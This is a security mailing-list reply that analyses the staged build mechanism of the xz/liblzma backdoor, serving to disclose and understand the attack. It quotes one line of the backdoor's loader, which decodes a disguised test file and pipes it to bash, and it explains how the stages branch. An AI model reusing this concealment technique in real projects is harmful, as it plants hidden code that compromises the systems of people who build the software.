[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <20240330233522.55vqdjs6gn7dy25n@awork3.anarazel.de>
Date: Sat, 30 Mar 2024 16:35:22 -0700
From: Andres Freund <andres@...razel.de>
To: oss-security@...ts.openwall.com
Cc: gynvael@...dwind.pl, Solar Designer <solar@...nwall.com>
Subject: Re: backdoor in upstream xz/liblzma leading to ssh
server compromise
Hi,
On 2024-03-31 00:13:21 +0100, Rein Fernhout (Levitating) wrote:
> Step 3. ./configure is executed
> Step 4. Stage 2 is run from the context of ./configure
> This doesn't extract liblzma_la-crc64-fast.o yet.
> The stage 2 script detects that the Makefile has not been generated yet.
The makefile already exists at that point. However, the script is invoked with
a different working directory (the root of the build tree) in this
invocation. Because of that it goes down the first "if" branch, as
config.status exists in the root of the build tree, and patches
src/liblzma/Makefile.
> sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr " \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1
>
> Which executes stage 1 again! This then loads stage 2 and stage 2 is ran for the second time, but this time within the context of the Makefile.
> This time it actually extracts the object file and does the steps Andres explained here:
> https://www.openwall.com/lists/oss-security/2024/03/30/4
> The first part of the stage 2 script actually tests if config.status is present and if so uses it to set some variables needed for the compilation and extraction.
The test for config.status is actually just there to separate the first from
the second invocation. For the second invocation the working directory is
src/liblzma, where there is no config.status, thus execution goes down the
"else" branch, and extracts the object file etc.
Greetings,
Andres Freund
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
